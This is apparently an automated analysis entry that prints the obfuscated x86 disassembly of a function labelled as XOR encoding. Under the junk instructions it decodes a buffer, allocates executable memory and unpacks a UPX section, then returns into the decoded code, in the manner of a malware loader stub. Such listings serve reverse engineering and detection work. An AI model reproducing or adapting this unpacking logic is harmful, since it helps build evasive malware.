Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xdbdf7ade
add ebx, ebx
mov ebx, edi
dec edi
popal
inc ebx
add ebx, 0x5e262f21
mov edx, 0
mov ecx, esi
add edi, eax
dec eax
add edi, eax
mov ebx, ecx
or edi, edi
add edi, eax
mov esi, ebx
sub edi, 0x990463b0
and eax, eax
inc edx
not eax
sub eax, edi
cmp edx, 0x1007c67
jne 0xa789c4
or edi, edi
add eax, 0xed1708b3
add edi, 0x6807268c
add edi, 0xe8ad3019
not ebx
and edi, ebx
mov esi, 0xa78796
inc ebx
inc edx
mov eax, 0xa7898a
sub ebx, 0x10f132ea
and ebx, edi
and edx, edi
mov ecx, dword [esi]
and edx, edi
not ebx
and ecx, 0xff
add edi, edx
not ebx
add ebx, edi
xor dword [eax], ecx
add edi, 0xdd45fa1c
mov edx, edi
add eax, 1
add edx, 0xf8a564af
add edi, edi
mov edi, 0x6f0bc856
inc esi
and ebx, edx
mov edx, ebx
mov edi, edx
cmp eax, entry0
jl 0xa78a1a
sub edx, 1
or edi, ebx
add edi, edi
mov ebx, edx
sub edi, 0x3a72495b
add edx, edi
sub edi, 0xa8e26834
sub edi, edx
mov ecx, 0xa7898e
sub edx, ebx
add ebx, 0x813ef8d7
or esi, esi
mov ecx, dword [ecx]
or edi, ebx
mov ebx, 0x428bb1cc
sub esi, 0xd4605349
mov ecx, dword [ecx]
add edx, 0x80a9698f
mov edi, edx
mov edi, ebx
push ecx
mov esi, 0xc0025ad9
add esi, ebx
mov ecx, 0xa7898a
add ebx, edx
sub edi, esi
mov edx, 0x47fee570
mov ecx, dword [ecx]
mov edi, 0xe9f0530f
and edi, edx
mov ecx, dword [ecx]
add ebx, edx
dec edx
sub esp, 4
mov dword [esp], 0xa78992
add edi, ebx
sub ebx, 0x36917965
call ecx
add ebx, 0xdc86d4b1
or esi, ebx
mov ecx, dword [esp]
add esp, 4
sub esi, 1
add edi, 0x882bc25c
sub esp, 4
mov dword [esp], 0xa7899f
add ebx, 0x7fa4dbfa
add edx, edi
push eax
dec edi
sub ebx, 0x4bbc37b8
call ecx
sub edx, edi
or edx, esi
sub esp, 4
mov dword [esp], 0x40
add edx, esi
add ebx, 1
and esi, ebx
sub esp, 4
mov dword [esp], 0x3000
or esi, edx
mov esi, 0x49e22e54
dec edi
push 0x20000d94
mov esi, ebx
dec esi
sub esp, 4
mov dword [esp], 0
or edx, edi
sub ebx, 0x4db21777
call eax
dec ebx
and edx, esi
not ebx
add eax, 0x20000cf6
add edx, 1
add edi, 0xa33e0f26
sub esi, 0x9870b29d
mov ecx, 0x910e9e9f
not ebx
dec edi
mov dword [eax], ecx
and esi, esi
add esi, 0x503cd0c0
mov ecx, dword [eax]
sub edi, 1
sub ebx, 0x5dfcae4a
sub esi, 1
cmp ecx, 0x910e9e9f
je 0xa78ba8
mov eax, 0
mov byte [eax], bl
mov ebx, 0x3b15df5
add edx, esi
and edi, edi
not esi
dec esi
sub edx, esi
inc edi
sub ebx, 0x28846e64
mov ebx, 0xe95ad726
mov edx, section.UPX1
not ebx
sub edi, 0x2e3c520f
not edi
mov eax, 0xa78795
mov ebx, 0x44089b63
dec edi
mov ecx, 0
sub ebx, edi
add edi, ebx
sub edi, ebx
mov esi, 0xa78796
sub edi, ebx
not edi
lea esi, [esi + ecx]
dec edi
or edi, edi
add edi, 1
mov esi, dword [esi]
add edi, 0x340ac334
sub ebx, edi
and esi, 0xff
mov edi, ebx
or edi, edi
and edi, ebx
add ecx, 1
add ebx, edi
sub edi, 0x306b2f4e
and ebx, edi
cmp ecx, 0x1f4
jne 0xa78c2f
mov ecx, 0
sub ebx, 0x54217aba
sub ebx, 0xabb19fe0
and ebx, edi
mov ebx, 0xa859616c
add edi, 0xc2b71e9a
xor dword [edx], esi
add edi, ebx
and edi, ebx
mov edi, ebx
add edx, 2
add ebx, edi
not ebx
and edi, edi
cmp edx, eax
jl 0xa78be7
sub ebx, 0xfd1e5d43
add ebx, ebx
dec edi
add edi, 0xa355dd4b
add ebx, 0x6e6d3012
mov ebx, section.UPX1
mov ecx, 0x22e8b168
sub ecx, 0x763e0d24
dec ecx
mov edx, section.UPX1
mov edi, ecx
sub edi, 0x2ae6611
mov esi, 0xa78795
inc ecx
not edi
mov eax, 0
add edi, 1
mov edi, 0xd4f6f440
sub edi, ecx
mov al, byte [edx]
mov edi, 0xc17b84b5
mov edi, 0xb3ede2ae
dec ecx
mov byte [ebx], al
inc edi
add ecx, edi
mov edi, 0x803c2f83
inc ebx
sub edi, ecx
sub edi, ecx
not ecx
add edx, 2
and edi, edi
inc edi
mov ecx, 0x49890b54
cmp edx, esi
jle 0xa78cb1
inc edi
mov ecx, 0xabe5b5dc
sub ecx, edi
sub edi, ebx
or ebx, edi
push 0x8dc6a0
sub ebx, 0x709c4a82
add edi, 0xac117baa
ret